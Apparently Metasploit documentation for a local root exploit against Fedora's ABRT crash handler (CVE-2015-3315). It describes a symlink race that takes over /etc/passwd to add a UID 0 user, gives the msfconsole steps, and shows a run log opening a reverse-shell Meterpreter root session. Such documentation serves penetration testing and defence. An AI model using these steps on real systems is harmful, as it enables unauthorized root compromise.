2018-02-04 04:47:46 +00:00
## Description
This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler.
## Vulnerable Application
A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd` , then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes.
This module has been tested successfully on ABRT packaged versions:
2018-02-05 04:48:52 +00:00
* 2.1.5-1.fc19 on Fedora Desktop 19 x86_64
* 2.2.1-1.fc19 on Fedora Desktop 19 x86_64
* 2.2.2-2.fc20 on Fedora Desktop 20 x86_64
2018-02-04 04:47:46 +00:00
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new * root * session
## Options
**USERNAME **
Username for the new UID=0 user (default: random)
**SESSION **
Which session to use, which can be viewed with `sessions`
**WritableDir **
A writable directory file system path. (default: `/tmp` )
## Scenarios
```
msf > use exploit/linux/local/abrt_raceabrt_priv_esc
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
session => 1
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ...
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...
[+] Success! '/etc/passwd' is writable
[*] Adding pauITBusGM user to /etc/passwd ...
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.137
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
` ``
